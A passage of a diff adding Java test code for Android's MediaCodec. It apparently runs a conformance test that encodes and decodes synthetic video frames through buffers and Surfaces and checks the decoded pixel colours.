+        byte[] frameData = new byte[mWidth * mHeight * 3 / 2];
+
+        // Just out of curiosity.
+        long rawSize = 0;
+        long encodedSize = 0;
+
+        // Save a copy to disk.  Useful for debugging the test.  Note this is a raw elementary
+        // stream, not a .mp4 file, so not all players will know what to do with it.
+        FileOutputStream outputStream = null;
+        if (DEBUG_SAVE_FILE) {
+            String fileName = DEBUG_FILE_NAME_BASE + mWidth + "x" + mHeight + ".mp4";
+            try {
+                outputStream = new FileOutputStream(fileName);
+                Log.d(TAG, "encoded output will be saved as " + fileName);
+            } catch (IOException ioe) {
+                Log.w(TAG, "Unable to create debug output file " + fileName);
+                throw new RuntimeException(ioe);
+            }
+        }
+
+        if (toSurface) {
+            outputSurface = new OutputSurface(mWidth, mHeight);
+        }
+
+        // Loop until the output side is done.
+        boolean inputDone = false;
+        boolean encoderDone = false;
+        boolean outputDone = false;
+        int encoderStatus = -1;
+        while (!outputDone) {
+            if (VERBOSE) Log.d(TAG, "loop");
+
+
+            // If we're not done submitting frames, generate a new one and submit it.  By
+            // doing this on every loop we're working to ensure that the encoder always has
+            // work to do.
+            //
+            // We don't really want a timeout here, but sometimes there's a delay opening
+            // the encoder device, so a short timeout can keep us from spinning hard.
+            if (!inputDone) {
+                int inputBufIndex = encoder.dequeueInputBuffer(TIMEOUT_USEC);
+                if (VERBOSE) Log.d(TAG, "inputBufIndex=" + inputBufIndex);
+                if (inputBufIndex >= 0) {
+                    long ptsUsec = computePresentationTime(generateIndex);
+                    if (generateIndex == NUM_FRAMES) {
+                        // Send an empty frame with the end-of-stream flag set.  If we set EOS
+                        // on a frame with data, that frame data will be ignored, and the
+                        // output will be short one frame.
+                        encoder.queueInputBuffer(inputBufIndex, 0, 0, ptsUsec,
+                                MediaCodec.BUFFER_FLAG_END_OF_STREAM);
+                        inputDone = true;
+                        if (VERBOSE) Log.d(TAG, "sent input EOS (with zero-length frame)");
+                    } else {
+                        generateFrame(generateIndex, encoderColorFormat, frameData);
+
+                        ByteBuffer inputBuf = encoder.getInputBuffer(inputBufIndex);
+                        // the buffer should be sized to hold one full frame
+                        assertTrue(inputBuf.capacity() >= frameData.length);
+                        inputBuf.clear();
+                        inputBuf.put(frameData);
+
+                        encoder.queueInputBuffer(inputBufIndex, 0, frameData.length, ptsUsec, 0);
+                        if (VERBOSE) Log.d(TAG, "submitted frame " + generateIndex + " to enc");
+                    }
+                    generateIndex++;
+                } else {
+                    // either all in use, or we timed out during initial setup
+                    if (VERBOSE) Log.d(TAG, "input buffer not available");
+                }
+            }
+
+            // Check for output from the encoder.  If there's no output yet, we either need to
+            // provide more input, or we need to wait for the encoder to work its magic.  We
+            // can't actually tell which is the case, so if we can't get an output buffer right
+            // away we loop around and see if it wants more input.
+            //
+            // Once we get EOS from the encoder, we don't need to do this anymore.
+            if (!encoderDone) {
+                MediaCodec.BufferInfo info = encoderInfo;
+                if (encoderStatus < 0) {
+                    encoderStatus = encoder.dequeueOutputBuffer(info, TIMEOUT_USEC);
+                }
+                if (encoderStatus == MediaCodec.INFO_TRY_AGAIN_LATER) {
+                    // no output available yet
+                    if (VERBOSE) Log.d(TAG, "no output from encoder available");
+                } else if (encoderStatus == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
+                    // not expected for an encoder
+                    encoderOutputBuffers = encoder.getOutputBuffers();
+                    if (VERBOSE) Log.d(TAG, "encoder output buffers changed");
+                } else if (encoderStatus == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
+                    // expected on API 18+
+                    MediaFormat newFormat = encoder.getOutputFormat();
+                    if (VERBOSE) Log.d(TAG, "encoder output format changed: " + newFormat);
+                } else if (encoderStatus < 0) {
+                    fail("unexpected result from encoder.dequeueOutputBuffer: " + encoderStatus);
+                } else { // encoderStatus >= 0
+                    ByteBuffer encodedData = encoder.getOutputBuffer(encoderStatus);
+                    if (encodedData == null) {
+                        fail("encoderOutputBuffer " + encoderStatus + " was null");
+                    }
+
+                    // It's usually necessary to adjust the ByteBuffer values to match BufferInfo.
+                    encodedData.position(info.offset);
+                    encodedData.limit(info.offset + info.size);
+
+                    boolean releaseBuffer = false;
+                    if (!decoderConfigured) {
+                        // Codec config info.  Only expected on first packet.  One way to
+                        // handle this is to manually stuff the data into the MediaFormat
+                        // and pass that to configure().  We do that here to exercise the API.
+                        // For codecs that don't have codec config data (such as VP8),
+                        // initialize the decoder before trying to decode the first packet.
+                        assertTrue((info.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) != 0 ||
+                                   mMimeType.equals(MediaFormat.MIMETYPE_VIDEO_VP8));
+                        MediaFormat format =
+                                MediaFormat.createVideoFormat(mMimeType, mWidth, mHeight);
+                        if ((info.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) != 0)
+                            format.setByteBuffer("csd-0", encodedData);
+                        decoder.configure(format, toSurface ? outputSurface.getSurface() : null,
+                                null, 0);
+                        decoder.start();
+                        decoderInputBuffers = decoder.getInputBuffers();
+                        decoderOutputBuffers = decoder.getOutputBuffers();
+                        decoderConfigured = true;
+                        if (VERBOSE) Log.d(TAG, "decoder configured (" + info.size + " bytes)");
+                    }
+                    if ((info.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) == 0) {
+                        // Get a decoder input buffer
+                        assertTrue(decoderConfigured);
+                        int inputBufIndex = decoder.dequeueInputBuffer(TIMEOUT_USEC);
+                        if (inputBufIndex >= 0) {
+                            ByteBuffer inputBuf = decoderInputBuffers[inputBufIndex];
+                            inputBuf.clear();
+                            inputBuf.put(encodedData);
+                            decoder.queueInputBuffer(inputBufIndex, 0, info.size,
+                                    info.presentationTimeUs, info.flags);
+
+                            encoderDone = (info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0;
+                            if (VERBOSE) Log.d(TAG, "passed " + info.size + " bytes to decoder"
+                                    + (encoderDone ? " (EOS)" : ""));
+                            releaseBuffer = true;
+                        }
+                    } else {
+                        releaseBuffer = true;
+                    }
+                    if (releaseBuffer) {
+                        encodedSize += info.size;
+                        if (outputStream != null) {
+                            byte[] data = new byte[info.size];
+                            encodedData.position(info.offset);
+                            encodedData.get(data);
+                            try {
+                                outputStream.write(data);
+                            } catch (IOException ioe) {
+                                Log.w(TAG, "failed writing debug data to file");
+                                throw new RuntimeException(ioe);
+                            }
+                        }
+                        encoder.releaseOutputBuffer(encoderStatus, false);
+                        encoderStatus = -1;
+                    }
+
+                }
+            }
+
+            // Check for output from the decoder.  We want to do this on every loop to avoid
+            // the possibility of stalling the pipeline.  We use a short timeout to avoid
+            // burning CPU if the decoder is hard at work but the next frame isn't quite ready.
+            //
+            // If we're decoding to a Surface, we'll get notified here as usual but the
+            // ByteBuffer references will be null.  The data is sent to Surface instead.
+            if (decoderConfigured) {
+                MediaCodec.BufferInfo info = decoderInfo;
+                int decoderStatus = decoder.dequeueOutputBuffer(info, TIMEOUT_USEC);
+                if (decoderStatus == MediaCodec.INFO_TRY_AGAIN_LATER) {
+                    // no output available yet
+                    if (VERBOSE) Log.d(TAG, "no output from decoder available");
+                } else if (decoderStatus == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
+                    // The storage associated with the direct ByteBuffer may already be unmapped,
+                    // so attempting to access data through the old output buffer array could
+                    // lead to a native crash.
+                    if (VERBOSE) Log.d(TAG, "decoder output buffers changed");
+                    decoderOutputBuffers = decoder.getOutputBuffers();
+                } else if (decoderStatus == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
+                    // this happens before the first frame is returned
+                    decoderOutputFormat = decoder.getOutputFormat();
+                    if (VERBOSE) Log.d(TAG, "decoder output format changed: " +
+                            decoderOutputFormat);
+                } else if (decoderStatus < 0) {
+                    fail("unexpected result from deocder.dequeueOutputBuffer: " + decoderStatus);
+                } else {  // decoderStatus >= 0
+                    if (!toSurface) {
+                        ByteBuffer outputFrame = decoderOutputBuffers[decoderStatus];
+                        Image outputImage = (checkIndex % 2 == 0) ? null : decoder.getOutputImage(decoderStatus);
+
+                        outputFrame.position(info.offset);
+                        outputFrame.limit(info.offset + info.size);
+
+                        rawSize += info.size;
+                        if (info.size == 0) {
+                            if (VERBOSE) Log.d(TAG, "got empty frame");
+                        } else {
+                            if (VERBOSE) Log.d(TAG, "decoded, checking frame " + checkIndex);
+                            assertEquals("Wrong time stamp", computePresentationTime(checkIndex),
+                                    info.presentationTimeUs);
+                            if (!checkFrame(checkIndex++, decoderOutputFormat, outputFrame, outputImage)) {
+                                badFrames++;
+                            }
+                        }
+                        if (outputImage != null) {
+                            outputImage.close();
+                        }
+
+                        if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+                            if (VERBOSE) Log.d(TAG, "output EOS");
+                            outputDone = true;
+                        }
+                        decoder.releaseOutputBuffer(decoderStatus, false /*render*/);
+                    } else {
+                        if (VERBOSE) Log.d(TAG, "surface decoder given buffer " + decoderStatus +
+                                " (size=" + info.size + ")");
+                        rawSize += info.size;
+                        if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+                            if (VERBOSE) Log.d(TAG, "output EOS");
+                            outputDone = true;
+                        }
+
+                        boolean doRender = (info.size != 0);
+
+                        // As soon as we call releaseOutputBuffer, the buffer will be forwarded
+                        // to SurfaceTexture to convert to a texture.  The API doesn't guarantee
+                        // that the texture will be available before the call returns, so we
+                        // need to wait for the onFrameAvailable callback to fire.
+                        decoder.releaseOutputBuffer(decoderStatus, doRender);
+                        if (doRender) {
+                            if (VERBOSE) Log.d(TAG, "awaiting frame " + checkIndex);
+                            assertEquals("Wrong time stamp", computePresentationTime(checkIndex),
+                                    info.presentationTimeUs);
+                            outputSurface.awaitNewImage();
+                            outputSurface.drawImage();
+                            if (!checkSurfaceFrame(checkIndex++)) {
+                                badFrames++;
+                            }
+                        }
+                    }
+                }
+            }
+        }
+
+        if (VERBOSE) Log.d(TAG, "decoded " + checkIndex + " frames at "
+                + mWidth + "x" + mHeight + ": raw=" + rawSize + ", enc=" + encodedSize);
+        if (outputStream != null) {
+            try {
+                outputStream.close();
+            } catch (IOException ioe) {
+                Log.w(TAG, "failed closing debug file");
+                throw new RuntimeException(ioe);
+            }
+        }
+
+        if (outputSurface != null) {
+            outputSurface.release();
+        }
+
+        if (checkIndex != NUM_FRAMES) {
+            fail("expected " + NUM_FRAMES + " frames, only decoded " + checkIndex);
+        }
+        if (badFrames != 0) {
+            fail("Found " + badFrames + " bad frames");
+        }
+    }
+
+    /**
+     * Does the actual work for encoding and decoding from Surface to Surface.
+     */
+    private void doEncodeDecodeVideoFromSurfaceToSurface(MediaCodecWrapper encoder,
+            InputSurfaceInterface inputSurface, MediaCodec decoder,
+            OutputSurface outputSurface) {
+        final int TIMEOUT_USEC = 10000;
+        ByteBuffer[] encoderOutputBuffers = encoder.getOutputBuffers();
+        ByteBuffer[] decoderInputBuffers = decoder.getInputBuffers();
+        MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
+        int generateIndex = 0;
+        int checkIndex = 0;
+        int badFrames = 0;
+
+        // Save a copy to disk.  Useful for debugging the test.  Note this is a raw elementary
+        // stream, not a .mp4 file, so not all players will know what to do with it.
+        FileOutputStream outputStream = null;
+        if (DEBUG_SAVE_FILE) {
+            String fileName = DEBUG_FILE_NAME_BASE + mWidth + "x" + mHeight + ".mp4";
+            try {
+                outputStream = new FileOutputStream(fileName);
+                Log.d(TAG, "encoded output will be saved as " + fileName);
+            } catch (IOException ioe) {
+                Log.w(TAG, "Unable to create debug output file " + fileName);
+                throw new RuntimeException(ioe);
+            }
+        }
+
+        // Loop until the output side is done.
+        boolean inputDone = false;
+        boolean encoderDone = false;
+        boolean outputDone = false;
+        while (!outputDone) {
+            if (VERBOSE) Log.d(TAG, "loop");
+
+            // If we're not done submitting frames, generate a new one and submit it.  The
+            // eglSwapBuffers call will block if the input is full.
+            if (!inputDone) {
+                if (generateIndex == NUM_FRAMES) {
+                    // Send an empty frame with the end-of-stream flag set.
+                    if (VERBOSE) Log.d(TAG, "signaling input EOS");
+                    encoder.signalEndOfInputStream();
+                    inputDone = true;
+                } else {
+                    inputSurface.makeCurrent();
+                    generateSurfaceFrame(generateIndex);
+                    inputSurface.setPresentationTime(computePresentationTime(generateIndex) * 1000);
+                    if (VERBOSE) Log.d(TAG, "inputSurface swapBuffers");
+                    inputSurface.swapBuffers();
+                }
+                generateIndex++;
+            }
+
+            // Assume output is available.  Loop until both assumptions are false.
+            boolean decoderOutputAvailable = true;
+            boolean encoderOutputAvailable = !encoderDone;
+            while (decoderOutputAvailable || encoderOutputAvailable) {
+                // Start by draining any pending output from the decoder.  It's important to
+                // do this before we try to stuff any more data in.
+                int decoderStatus = decoder.dequeueOutputBuffer(info, TIMEOUT_USEC);
+                if (decoderStatus == MediaCodec.INFO_TRY_AGAIN_LATER) {
+                    // no output available yet
+                    if (VERBOSE) Log.d(TAG, "no output from decoder available");
+                    decoderOutputAvailable = false;
+                } else if (decoderStatus == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
+                    if (VERBOSE) Log.d(TAG, "decoder output buffers changed (but we don't care)");
+                } else if (decoderStatus == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
+                    // this happens before the first frame is returned
+                    MediaFormat decoderOutputFormat = decoder.getOutputFormat();
+                    if (VERBOSE) Log.d(TAG, "decoder output format changed: " +
+                            decoderOutputFormat);
+                } else if (decoderStatus < 0) {
+                    fail("unexpected result from deocder.dequeueOutputBuffer: " + decoderStatus);
+                } else {  // decoderStatus >= 0
+                    if (VERBOSE) Log.d(TAG, "surface decoder given buffer " + decoderStatus +
+                            " (size=" + info.size + ")");
+                    if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+                        if (VERBOSE) Log.d(TAG, "output EOS");
+                        outputDone = true;
+                    }
+
+                    // The ByteBuffers are null references, but we still get a nonzero size for
+                    // the decoded data.
+                    boolean doRender = (info.size != 0);
+
+                    // As soon as we call releaseOutputBuffer, the buffer will be forwarded
+                    // to SurfaceTexture to convert to a texture.  The API doesn't guarantee
+                    // that the texture will be available before the call returns, so we
+                    // need to wait for the onFrameAvailable callback to fire.  If we don't
+                    // wait, we risk dropping frames.
+                    outputSurface.makeCurrent();
+                    decoder.releaseOutputBuffer(decoderStatus, doRender);
+                    if (doRender) {
+                        assertEquals("Wrong time stamp", computePresentationTime(checkIndex),
+                                info.presentationTimeUs);
+                        if (VERBOSE) Log.d(TAG, "awaiting frame " + checkIndex);
+                        outputSurface.awaitNewImage();
+                        outputSurface.drawImage();
+                        if (!checkSurfaceFrame(checkIndex++)) {
+                            badFrames++;
+                        }
+                    }
+                }
+                if (decoderStatus != MediaCodec.INFO_TRY_AGAIN_LATER) {
+                    // Continue attempts to drain output.
+                    continue;
+                }
+
+                // Decoder is drained, check to see if we've got a new buffer of output from
+                // the encoder.
+                if (!encoderDone) {
+                    int encoderStatus = encoder.dequeueOutputBuffer(info, TIMEOUT_USEC);
+                    if (encoderStatus == MediaCodec.INFO_TRY_AGAIN_LATER) {
+                        // no output available yet
+                        if (VERBOSE) Log.d(TAG, "no output from encoder available");
+                        encoderOutputAvailable = false;
+                    } else if (encoderStatus == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
+                        // not expected for an encoder
+                        encoderOutputBuffers = encoder.getOutputBuffers();
+                        if (VERBOSE) Log.d(TAG, "encoder output buffers changed");
+                    } else if (encoderStatus == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
+                        // expected on API 18+
+                        String newFormat = encoder.getOutputFormatString();
+                        if (VERBOSE) Log.d(TAG, "encoder output format changed: " + newFormat);
+                    } else if (encoderStatus < 0) {
+                        fail("unexpected result from encoder.dequeueOutputBuffer: " + encoderStatus);
+                    } else { // encoderStatus >= 0
+                        ByteBuffer encodedData = encoder.getOutputBuffer(encoderStatus);
+                        if (encodedData == null) {
+                            fail("encoderOutputBuffer " + encoderStatus + " was null");
+                        }
+
+                        // It's usually necessary to adjust the ByteBuffer values to match BufferInfo.
+                        encodedData.position(info.offset);
+                        encodedData.limit(info.offset + info.size);
+
+                        if (outputStream != null) {
+                            byte[] data = new byte[info.size];
+                            encodedData.get(data);
+                            encodedData.position(info.offset);
+                            try {
+                                outputStream.write(data);
+                            } catch (IOException ioe) {
+                                Log.w(TAG, "failed writing debug data to file");
+                                throw new RuntimeException(ioe);
+                            }
+                        }
+
+                        // Get a decoder input buffer, blocking until it's available.  We just
+                        // drained the decoder output, so we expect there to be a free input
+                        // buffer now or in the near future (i.e. this should never deadlock
+                        // if the codec is meeting requirements).
+                        //
+                        // The first buffer of data we get will have the BUFFER_FLAG_CODEC_CONFIG
+                        // flag set; the decoder will see this and finish configuring itself.
+                        int inputBufIndex = decoder.dequeueInputBuffer(-1);
+                        ByteBuffer inputBuf = decoderInputBuffers[inputBufIndex];
+                        inputBuf.clear();
+                        inputBuf.put(encodedData);
+                        decoder.queueInputBuffer(inputBufIndex, 0, info.size,
+                                info.presentationTimeUs, info.flags);
+
+                        // If everything from the encoder has been passed to the decoder, we
+                        // can stop polling the encoder output.  (This just an optimization.)
+                        if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+                            encoderDone = true;
+                            encoderOutputAvailable = false;
+                        }
+                        if (VERBOSE) Log.d(TAG, "passed " + info.size + " bytes to decoder"
+                                + (encoderDone ? " (EOS)" : ""));
+
+                        encoder.releaseOutputBuffer(encoderStatus, false);
+                    }
+                }
+            }
+        }
+
+        if (outputStream != null) {
+            try {
+                outputStream.close();
+            } catch (IOException ioe) {
+                Log.w(TAG, "failed closing debug file");
+                throw new RuntimeException(ioe);
+            }
+        }
+
+        if (checkIndex != NUM_FRAMES) {
+            fail("expected " + NUM_FRAMES + " frames, only decoded " + checkIndex);
+        }
+        if (badFrames != 0) {
+            fail("Found " + badFrames + " bad frames");
+        }
+    }
+
+
+    /**
+     * Generates data for frame N into the supplied buffer.  We have an 8-frame animation
+     * sequence that wraps around.  It looks like this:
+     * <pre>
+     *   0 1 2 3
+     *   7 6 5 4
+     * </pre>
+     * We draw one of the eight rectangles and leave the rest set to the zero-fill color.
+     */
+    private void generateFrame(int frameIndex, int colorFormat, byte[] frameData) {
+        final int HALF_WIDTH = mWidth / 2;
+        boolean semiPlanar = isSemiPlanarYUV(colorFormat);
+
+        // Set to zero.  In YUV this is a dull green.
+        Arrays.fill(frameData, (byte) 0);
+
+        int startX, startY;
+
+        frameIndex %= 8;
+        //frameIndex = (frameIndex / 8) % 8;    // use this instead for debug -- easier to see
+        if (frameIndex < 4) {
+            startX = frameIndex * (mWidth / 4);
+            startY = 0;
+        } else {
+            startX = (7 - frameIndex) * (mWidth / 4);
+            startY = mHeight / 2;
+        }
+
+        for (int y = startY + (mHeight/2) - 1; y >= startY; --y) {
+            for (int x = startX + (mWidth/4) - 1; x >= startX; --x) {
+                if (semiPlanar) {
+                    // full-size Y, followed by UV pairs at half resolution
+                    // e.g. Nexus 4 OMX.qcom.video.encoder.avc COLOR_FormatYUV420SemiPlanar
+                    // e.g. Galaxy Nexus OMX.TI.DUCATI1.VIDEO.H264E
+                    //        OMX_TI_COLOR_FormatYUV420PackedSemiPlanar
+                    frameData[y * mWidth + x] = (byte) TEST_Y;
+                    if ((x & 0x01) == 0 && (y & 0x01) == 0) {
+                        frameData[mWidth*mHeight + y * HALF_WIDTH + x] = (byte) TEST_U;
+                        frameData[mWidth*mHeight + y * HALF_WIDTH + x + 1] = (byte) TEST_V;
+                    }
+                } else {
+                    // full-size Y, followed by quarter-size U and quarter-size V
+                    // e.g. Nexus 10 OMX.Exynos.AVC.Encoder COLOR_FormatYUV420Planar
+                    // e.g. Nexus 7 OMX.Nvidia.h264.encoder COLOR_FormatYUV420Planar
+                    frameData[y * mWidth + x] = (byte) TEST_Y;
+                    if ((x & 0x01) == 0 && (y & 0x01) == 0) {
+                        frameData[mWidth*mHeight + (y/2) * HALF_WIDTH + (x/2)] = (byte) TEST_U;
+                        frameData[mWidth*mHeight + HALF_WIDTH * (mHeight / 2) +
+                                  (y/2) * HALF_WIDTH + (x/2)] = (byte) TEST_V;
+                    }
+                }
+            }
+        }
+    }
+
+    /**
+     * Performs a simple check to see if the frame is more or less right.
+     * <p>
+     * See {@link #generateFrame} for a description of the layout.  The idea is to sample
+     * one pixel from the middle of the 8 regions, and verify that the correct one has
+     * the non-background color.  We can't know exactly what the video encoder has done
+     * with our frames, so we just check to see if it looks like more or less the right thing.
+     *
+     * @return true if the frame looks good
+     */
+    private boolean checkFrame(int frameIndex, MediaFormat format, ByteBuffer frameData, Image image) {
+        // Check for color formats we don't understand.  There is no requirement for video
+        // decoders to use a "mundane" format, so we just give a pass on proprietary formats.
+        // e.g. Nexus 4 0x7FA30C03 OMX_QCOM_COLOR_FormatYUV420PackedSemiPlanar64x32Tile2m8ka
+        int colorFormat = format.getInteger(MediaFormat.KEY_COLOR_FORMAT);
+        if (!isRecognizedFormat(colorFormat)) {
+            Log.d(TAG, "unable to check frame contents for colorFormat=" +
+                    Integer.toHexString(colorFormat));
+            return true;
+        }
+
+        boolean frameFailed = false;
+        boolean semiPlanar = isSemiPlanarYUV(colorFormat);
+        int width = format.getInteger(MediaFormat.KEY_STRIDE,
+                format.getInteger(MediaFormat.KEY_WIDTH));
+        int height = format.getInteger(MediaFormat.KEY_SLICE_HEIGHT,
+                format.getInteger(MediaFormat.KEY_HEIGHT));
+        int halfWidth = width / 2;
+        int cropLeft = format.getInteger("crop-left");
+        int cropRight = format.getInteger("crop-right");
+        int cropTop = format.getInteger("crop-top");
+        int cropBottom = format.getInteger("crop-bottom");
+        if (image != null) {
+            cropLeft = image.getCropRect().left;
+            cropRight = image.getCropRect().right - 1;
+            cropTop = image.getCropRect().top;
+            cropBottom = image.getCropRect().bottom - 1;
+        }
+        int cropWidth = cropRight - cropLeft + 1;
+        int cropHeight = cropBottom - cropTop + 1;
+
+        assertEquals(mWidth, cropWidth);
+        assertEquals(mHeight, cropHeight);
+
+        for (int i = 0; i < 8; i++) {
+            int x, y;
+            if (i < 4) {
+                x = i * (mWidth / 4) + (mWidth / 8);
+                y = mHeight / 4;
+            } else {
+                x = (7 - i) * (mWidth / 4) + (mWidth / 8);
+                y = (mHeight * 3) / 4;
+            }
+
+            y += cropTop;
+            x += cropLeft;
+
+            int testY, testU, testV;
+            if (image != null) {
+                Image.Plane[] planes = image.getPlanes();
+                if (planes.length == 3 && image.getFormat() == ImageFormat.YUV_420_888) {
+                    testY = planes[0].getBuffer().get(y * planes[0].getRowStride() + x * planes[0].getPixelStride()) & 0xff;
+                    testU = planes[1].getBuffer().get((y/2) * planes[1].getRowStride() + (x/2) * planes[1].getPixelStride()) & 0xff;
+                    testV = planes[2].getBuffer().get((y/2) * planes[2].getRowStride() + (x/2) * planes[2].getPixelStride()) & 0xff;
+                } else {
+                    testY = testU = testV = 0;
+                }
+            } else {
+                int off = frameData.position();
+                if (semiPlanar) {
+                    // Galaxy Nexus uses OMX_TI_COLOR_FormatYUV420PackedSemiPlanar
+                    testY = frameData.get(off + y * width + x) & 0xff;
+                    testU = frameData.get(off + width*height + 2*(y/2) * halfWidth + 2*(x/2)) & 0xff;
+                    testV = frameData.get(off + width*height + 2*(y/2) * halfWidth + 2*(x/2) + 1) & 0xff;
+                } else {
+                    // Nexus 10, Nexus 7 use COLOR_FormatYUV420Planar
+                    testY = frameData.get(off + y * width + x) & 0xff;
+                    testU = frameData.get(off + width*height + (y/2) * halfWidth + (x/2)) & 0xff;
+                    testV = frameData.get(off + width*height + halfWidth * (height / 2) +
+                            (y/2) * halfWidth + (x/2)) & 0xff;
+                }
+            }
+
+            int expY, expU, expV;
+            if (i == frameIndex % 8) {
+                // colored rect
+                expY = TEST_Y;
+                expU = TEST_U;
+                expV = TEST_V;
+            } else {
+                // should be our zeroed-out buffer
+                expY = expU = expV = 0;
+            }
+            if (!isColorClose(testY, expY) ||
+                    !isColorClose(testU, expU) ||
+                    !isColorClose(testV, expV)) {
+                Log.w(TAG, "Bad frame " + frameIndex + " (rect=" + i + ": yuv=" + testY +
+                        "," + testU + "," + testV + " vs. expected " + expY + "," + expU +
+                        "," + expV + ")");
+                frameFailed = true;
+            }
+        }
+
+        return !frameFailed;
+    }
+
+    /**
+     * Generates a frame of data using GL commands.
+     */
+    private void generateSurfaceFrame(int frameIndex) {
+        frameIndex %= 8;
+
+        int startX, startY;
+        if (frameIndex < 4) {
+            // (0,0) is bottom-left in GL
+            startX = frameIndex * (mWidth / 4);
+            startY = mHeight / 2;
+        } else {
+            startX = (7 - frameIndex) * (mWidth / 4);
+            startY = 0;
+        }
+
+        GLES20.glDisable(GLES20.GL_SCISSOR_TEST);
+        GLES20.glClearColor(TEST_R0 / 255.0f, TEST_G0 / 255.0f, TEST_B0 / 255.0f, 1.0f);
+        GLES20.glClear(GLES20.GL_COLOR_BUFFER_BIT);
+        GLES20.glEnable(GLES20.GL_SCISSOR_TEST);
+        GLES20.glScissor(startX, startY, mWidth / 4, mHeight / 2);
+        GLES20.glClearColor(TEST_R1 / 255.0f, TEST_G1 / 255.0f, TEST_B1 / 255.0f, 1.0f);
+        GLES20.glClear(GLES20.GL_COLOR_BUFFER_BIT);
+    }
+
+    /**
+     * Checks the frame for correctness.  Similar to {@link #checkFrame}, but uses GL to
+     * read pixels from the current surface.
+     *
+     * @return true if the frame looks good
+     */
+    private boolean checkSurfaceFrame(int frameIndex) {
+        ByteBuffer pixelBuf = ByteBuffer.allocateDirect(4); // TODO - reuse this
+        boolean frameFailed = false;
+
+        for (int i = 0; i < 8; i++) {
+            // Note the coordinates are inverted on the Y-axis in GL.
+            int x, y;
+            if (i < 4) {
+                x = i * (mWidth / 4) + (mWidth / 8);
+                y = (mHeight * 3) / 4;
+            } else {
+                x = (7 - i) * (mWidth / 4) + (mWidth / 8);
+                y = mHeight / 4;
+            }
+
+            GLES20.glReadPixels(x, y, 1, 1, GL10.GL_RGBA, GL10.GL_UNSIGNED_BYTE, pixelBuf);
+            int r = pixelBuf.get(0) & 0xff;
+            int g = pixelBuf.get(1) & 0xff;
+            int b = pixelBuf.get(2) & 0xff;
+            //Log.d(TAG, "GOT(" + frameIndex + "/" + i + "): r=" + r + " g=" + g + " b=" + b);
+
+            int expR, expG, expB, expR_bt709, expG_bt709, expB_bt709;
+            if (i == frameIndex % 8) {
+                // colored rect
+                expR = TEST_R1;
+                expG = TEST_G1;
+                expB = TEST_B1;
+                expR_bt709 = TEST_R1_BT709;
+                expG_bt709 = TEST_G1_BT709;
+                expB_bt709 = TEST_B1_BT709;
+            } else {
+                // zero background color
+                expR = TEST_R0;
+                expG = TEST_G0;
+                expB = TEST_B0;
+                expR_bt709 = TEST_R0_BT709;
+                expG_bt709 = TEST_G0_BT709;
+                expB_bt709 = TEST_B0_BT709;
+            }
+
+            // Some decoders use BT.709 when converting HD (i.e. >= 720p)
+            // frames from YUV to RGB, so check against both BT.601 and BT.709
+            if (mAllowBT601 &&
+                    isColorClose(r, expR) &&
+                    isColorClose(g, expG) &&
+                    isColorClose(b, expB)) {
+                // frame OK on BT.601
+                mAllowBT709 = false;
+            } else if (mAllowBT709 &&
+                           isColorClose(r, expR_bt709) &&
+                           isColorClose(g, expG_bt709) &&
+                           isColorClose(b, expB_bt709)) {
+                // frame OK on BT.709
+                mAllowBT601 = false;
+            } else {
+                Log.w(TAG, "Bad frame " + frameIndex + " (rect=" + i + " @ " + x + " " + y + ": rgb=" + r +
+                        "," + g + "," + b + " vs. expected " + expR + "," + expG +
+                        "," + expB + ")");
+                frameFailed = true;
+            }
+        }
+
+        return !frameFailed;
+    }
+
+    /**
+     * Returns true if the actual color value is close to the expected color value.  Updates
+     * mLargestColorDelta.
+     */
+    boolean isColorClose(int actual, int expected) {
+        final int MAX_DELTA = 8;
+        int delta = Math.abs(actual - expected);
+        if (delta > mLargestColorDelta) {
+            mLargestColorDelta = delta;
+        }
+        return (delta <= MAX_DELTA);
+    }
+
+    /**
+     * Generates the presentation time for frame N, in microseconds.
+     */
+    private static long computePresentationTime(int frameIndex) {
+        return 132 + frameIndex * 1000000 / FRAME_RATE;
+    }
+
+    /**
+     * Tests streaming of video through the encoder and decoder.  Data is encoded from
+     * a series of byte[] buffers and decoded into ByteBuffers.  The output is checked for
+     * validity.
+     */
+    @Test
+    public void testEncodeDecodeVideoFromBufferToBuffer() throws Exception {
+        encodeDecodeVideoFromBuffer(false);
+    }
+
+    /**
+     * Tests streaming of video through the encoder and decoder.  Data is encoded from
+     * a series of byte[] buffers and decoded into Surfaces.  The output is checked for
+     * validity.
+     * <p>
+     * Because of the way SurfaceTexture.OnFrameAvailableListener works, we need to run this
+     * test on a thread that doesn't have a Looper configured.  If we don't, the test will
+     * pass, but we won't actually test the output because we'll never receive the "frame
+     * available" notifications".  The CTS test framework seems to be configuring a Looper on
+     * the test thread, so we have to hand control off to a new thread for the duration of
+     * the test.
+     */
+    @Test
+    public void testEncodeDecodeVideoFromBufferToSurface() throws Throwable {
+        BufferToSurfaceWrapper.runTest(this);
+    }
+
+    /**
+     * Tests streaming of AVC through the encoder and decoder.  Data is provided through
+     * a Surface and decoded onto a Surface.  The output is checked for validity.
+     */
+    @Test
+    public void testEncodeDecodeVideoFromSurfaceToSurface() throws Throwable {
+        SurfaceToSurfaceWrapper.runTest(this, false, false);
+    }
+
+    @Test
+    public void testEncodeDecodeVideoFromSurfaceToSurfaceNdk() throws Throwable {
+        SurfaceToSurfaceWrapper.runTest(this, false, USE_NDK);
+    }
+
+    /**
+     * Tests streaming of video through the encoder and decoder.  Data is provided through
+     * a PersistentSurface and decoded onto a Surface.  The output is checked for validity.
+     */
+    @Test
